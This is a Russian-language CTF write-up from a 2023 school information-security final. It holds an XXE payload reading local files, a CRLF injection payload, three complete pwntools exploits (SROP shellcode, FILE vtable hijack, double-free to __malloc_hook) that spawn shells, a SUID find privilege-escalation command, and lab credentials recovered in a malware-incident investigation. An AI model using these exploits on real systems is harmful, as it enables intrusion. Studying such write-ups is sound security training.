НТО Информационная безопасность 2023. Заключительный этап. Отчёт команды SHPCTF_ThreatBuns

Task-Based

Web 10

Зайдя на сайт, можно увидеть, что к нему подгружается javascript файл scipt.js, находящийся в static/js. Он осуществляет подключение по websocket, а также шифрование и расшифрование входных данных. В конце файла можно увидеть в каком формате он зашифровывает данные:

```
{format: 'json', data: {countries: countries, startdate: startDate, enddate: endDate
```

Из поля format можно предположить, что можно отправить не только json, но и xml, и следовательно проэксплуатировать уязвимость XXE. Используя встроенную в браузер консоль javascript, получаем результат функции encrypted от `{"format":"xml","data":'<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt">]><data><countries>ALA</countries> <startdate>2743-01-09</startdate><enddate>8419-02-03</enddate><resttype>&xxe; </resttype></data>'}` С помощью burbsuit отправляем запрос на сервер через websocket с data равной полученному зашифрованному сообщению. Ответ сервера расшифруем, используя функцию decrypt в косоли javascript браузера, и получим флаг.

Web 20

Прочитав код первого сервиса, можно увидеть возможность свободно редактировать http запрос с помощью поля username. Также, при возникновении ошибки при получении ответа, первый сервис выдаст ошибку и вернет целый запрос, откуда можно будет получить флаг. Поискав в интеренете возмыжные уязвимости, мы нашли уязвимость CLRF, которая сработала на данном сервисе. После этого мы использовали пейлоад `username=213; crlf%E5%98%8A%E5%98%8D%0DHeader-Test:BLATRUC&password=123(сделанный на основе https://github.com/cujanovic/CRLF-Injection-Payloads/blob/master/CRLF-payloads.txt)` и получили ошибку вместе с нужным нам флагом.

Crypto 10

Запустив данный скрипт на своей машине с собственными входными данными можно заметить, что каждый символ входных данных шифруется отдельно, независимо от других и при этом уникально. Исходя из этого, с помощью hashed.txt можно перебрать все символы и получить флаг.

Crypto 20

Проанализировав данный код, можно предположить, что если какой-то бит равен `1`, то при многократной его проверке рано или поздно функция `guess_bit` вернет нам число меньшше `n//2`. Если же бит равен `0`, то он всегда будет от `n//2` до `n`. Благодаря этому, можно по отдельности перебирать каждый бит флага проверяя его много раз(к примеру 30) и если он хоть раз будет меньше `n//2`, то он равен `1`, иначе `0`.

pwn 10

Используется техника `SROP`. Первым вызовом функции подготавливается буфер, затем читаются 15 любых символов, чтобы `rax` стал равен 15, и выполнился syscall, который выполнит `mmap` с правами `rwx`. Затем таким же образом в выделенную память читается из `stdin` шеллкод и исполняется.

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 10.10.23.10 --port 8888 micro
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('micro')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '10.10.23.10'
port = int(args.PORT or 8888)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    if args.EDB:
        return process(['edb', '--run', exe.path] + argv, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
```

```
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak *0x{exe.entry:x}
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    No RELRO
# Stack:    No canary found
# NX:       NX disabled
# PIE:      No PIE (0x400000)
# RWX:      Has RWX segments

io = start()

syscall = 0x401016

vuln_function = 0x401004
vuln_pointer = 0x400088

writable = 0x400000
frame = SigreturnFrame(kernel="amd64")
frame.rax = 10
frame.rdi = writable
frame.rsi = 0x4000
frame.rdx = 7
frame.rsp = vuln_pointer
frame.rip = syscall



pause()
pl = b"A"*32 + p64(vuln_function) + p64(syscall) + bytes(frame)
io.send(pl)
pause()
```

```
io.send(b'a' * 15)

frame = SigreturnFrame(kernel="amd64")
frame.rax = 0
frame.rdi = 0
frame.rsi = writable+0x1000
frame.rdx = 0x1000
frame.rsp = vuln_pointer
frame.rip = syscall

pause()
pl = b"A"*32 + p64(vuln_function) + p64(syscall) + bytes(frame)
io.send(pl)
pause()
io.send(b'a' * 15)

pause()
io.send(b'a' * 0x18 + bytes(asm(shellcraft.sh())))


io.interactive()
```

pwn 20

Приложение перезаписывает указатель `FILE *` на что-то, введенное пользователем, и выполняет `fclose`. Можно создать фейковую структуру, и вместо указателя `vtpr` на `_IO_file_jumps` записать указатель на `_IO_str_jumps`. Тогда вместо `_IO_new_file_finish` вызовется `_IO_str_finish`, в которой выполнится `(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);`. Мы контролируем и `_free_buffer` и `_IO_buf_base`, значит можно выполнить `system("/bin/sh")`

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 10.10.23.10 --port 2228 notebook
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('notebook')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '10.10.23.10'
port = int(args.PORT or 1337)
```

```python
def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process(['./ld-2.27.so', exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)
# RUNPATH:  b'./lib'

io = start(env={'LD_PRELOAD': './libc-2.27.so'})

def write(val):
    io.sendlineafter('> ', '1')
    io.sendafter('> ', val)

def read():
    io.sendlineafter('> ', '2')

def go():
    io.sendlineafter('> ', '3')
```

```
write(b'%11$p\x00')
read()
io.recvuntil(b'wrote.\n')
addr = int(io.recv('14'), 16)
log.success(f'libc: {addr:x}')
libc = ELF('./libc-2.27.so')
libc.address = addr - (0x00007fbf35a21b8e - 0x00007fbf35a00000)

log.success(f'libc: {libc.address:x}')

pl = p64(0x4040d0) + p64(0xdead)
pl += p64(0x8000) + p64(0)
pl += p64(0) + p64(0)
pl += p64(0) + p64(0)
pl += p64(0) + p64(next(libc.search(b'/bin/sh\x00')))
pl += p64(0) + p64(0)
pl += p64(0) + p64(0)
pl += p64(0) + p64(libc.address + 0x7f2eaa9b0680 - 0x00007f2eaa600000)
pl += p64(0) + p64(0)
pl += p64(0) + p64(0x4040f0)
pl += p64(0xffffffffffffffff) + p64(0)
pl += p64(0x404100) + p64(0)
pl += p64(0) + p64(0)
pl += p64(0) + p64(0)
pl += p64(0) + p64(libc.address + (0x3AC360))
pl += p64(libc.sym.system)
pl += p64(libc.sym.system)

pause()
write(pl)
pause()
go()

io.interactive()
```

pwn 30

В приложении есть уязвимость `2free` . В результате можно получить контроль над указателем в одном из чанков и ликнуть адрес либсы. Затем с помощью того же указателя можно перезаписать `__malloc_hook` на `one_gadget` и выполнить `/bin/sh`

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 10.10.23.10 --port 2228 diary
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('diary')
```

```
# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '10.10.23.10'
port = int(args.PORT or 2228)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process(['./ld-2.31.so', exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)
# RUNPATH:  b'/home/pwn/lib'

io = start(env={'LD_PRELOAD': './libc.so.6'})

def add(mark, sz, val):
    io.sendlineafter('choice: ', '1')
```

```
    io.sendlineafter('mark: ', str(mark))
    io.sendlineafter('comment: ', str(sz))
    io.sendafter('comment: ', val)

def edit(idx, mark, sz, val):
    io.sendlineafter('choice: ', '2')
    io.sendlineafter('index: ', str(idx))
    io.sendlineafter('mark: ', str(mark))
    io.sendlineafter('comment: ', str(sz))
    io.sendafter('comment: ', val)

def view(idx):
    io.sendlineafter('choice: ', '3')
    io.sendlineafter('index: ', str(idx))

def delete(idx):
    io.sendlineafter('choice: ', '4')
    io.sendlineafter('index: ', str(idx))


for i in range(9):
    add(0, 100, b'qwe')

for i in range(7):
    delete(i)


delete(7)
delete(8)
delete(7)

view(7)
x = io.recvline()
log.info(x)
heap = x.split(b'Comment: ')[1].split(b'1)')[0]
heap = unpack(heap, 'all')
log.success(f'heap: {heap:x}')

x = heap & 0xffffffff
for i in range(8):
    add(heap + 0x200, 100, b'\x00' * 8)

add(heap + 0x200, 10, b'\x00' * 8)

view(7)

edit(8, 1234, 16, p64(0xdead) + p64(0x404020))

view(7)
libc = ELF('./libc.so.6')
x = io.recvline()
log.info(x)
```

```
x = x.split(b'Comment: ')[1].split(b'1)')[0]
x = unpack(x, 'all')
libc.address = x - libc.sym.puts
log.success(f'libc: {libc.address:x}')

edit(8, 1234, 16, p64(0xdead) + p64(heap+0x10))

# edit(7, 1234, 100, p64(libc.sym['__free_hook']))

# add(0, 100, b'/bin/sh\x00')
# add(0, 100, p64(libc.sym.system))

edit(7, 1234, 100, p64(libc.sym['__malloc_hook']))

add(0, 100, b'/bin/sh\x00')
add(0, 100, p64(libc.address + 0xe69a1))

'''
0xe699e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe69a1 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe69a4 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

0x10af39 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''

io.interactive()
```

Расследование инцидента

Задание 1

В программе `/home/sergey/minecraft.jar` есть класс `Malware.ReverseShell` с функцией `main`, в которой прокидывается реверс шелл на хост `192.168.126.129`, порт `4444`. Эта функция вызывается при запуске программы (а точнее в

`com.voicenet.mlauncher.configuration.Congiguration`). При запуске файла (`java -jar minecraft.jar`) злоумышленник получил шелл за юзера sergey. На машине у бинаря `/usr/bin/find` есть SUID-бит. Можно повысить привилегии командой `find . -exec /bin/sh -p \; -quit` Выполнив `history`, можно посмотреть историю действий root. Отсюда можно узнать, куда `logkeys` пишет логи (`/var/log/logkeys.log`), и про существование `keepass2`. Из логов видно, что пользователь открывает `keepass2`, и ниже идет пароль пользователя. Убрав лишние символы, получаем пароль от `keepass2`. В `keepass2` лежит пароль от Windows RDP. В файле `src/logkeys.cc` указан файл, куда пишутся логи:

```
#define DEFAULT_LOG_FILE  "/var/log/logkeys.log"
```

Пароль от passwords.kdbx - `1_D0N7_N0W_WHY_N07_M4Y83_345Y` Внутри keepass - креды для Windows RDP: `Administrator – SecretP@ss0rdMayby_0rNot&`

Задание 2

На первой машине (линукс) в загрузках был файл `VTropia.exe`. Этот файл шифровал все файлы на машине, с которой его запустили, с помощью AES и оставлял сообщение о том, что файлы зашифрованы. Все ключи в этом бинаре захардкожены, поэтому можно просто с помощью dnSpy поменять метод `CreateEncryptor` на `CreateDecryptor`, поменять массив с расширениями файлов на массив из одной строки: “ `.p4blm` ” (это расширение зашифрованных файлов), и запустить полученный файл. Так все зашифрованные файлы расшифруются. Данные в бинаре (имя пользователя, IP, сообщение которое оставлялось после шифрования) шифровались ксором с ключом “ `WhenYoullComeHomeIllStopThis` ”. Имя пользователя: `NTI-User`. пароль от ransomware: `md5(“HelloWin” + user) = 084b988baa7c8d98cda90c5fe603c560` В первую очередь, файл `Doom.exe` является вредоносным, после его запуска в `C:\Users\Administrator\AppData\Roaming\Dropped` создаются, запускаются и далее удаляются 5 exe-файлов. В них заложен вирус `njRAT`, обеспечивающий злоумышленнику удаленный доступ к компьютеру жертвы.Также были найдены иные вредоносные процессы: `Backdoor:MSIL/Bladabindi.AP` - троян с возможностью подключения по удаленному доступу; `VirTool:MSIL/Cajan.A!MTB` - ПО для репликации программ(конкретно - вирусов); `Behavior:Win32/MpTamperImgDeb.A` - позволяет получить контроль над ПК; `VTropia.exe` - вирус-шифровальщик на основе `aes` Как было описано в ответе на вопрос №2, на компьютере был запущен вирус `njRAT`, благодаря которому в систему был доставлен вирус-шифровальщик. Вредоносный файл Doom.exe создает в директории `C:\Users\Administrator\AppData\Roaming\Dropped` 5 исполняемых файлов, которые являются .NET приложениями. Их исходный код был обфусцирован с помощью `Eziriz`, средства защиты и обфускации кода для `.NET`. Данная информация была получена путем анализа вредоносных .exe файлов в dnSpy.

Шифровальщик зашифровал файлы google chrome, в частности базу данных для

менеджера паролей. Если ее восстановить, мы получим следующие креды:

```
http://10.10.137.110/ / admin (данные недействительны) / P@ssw0rd
```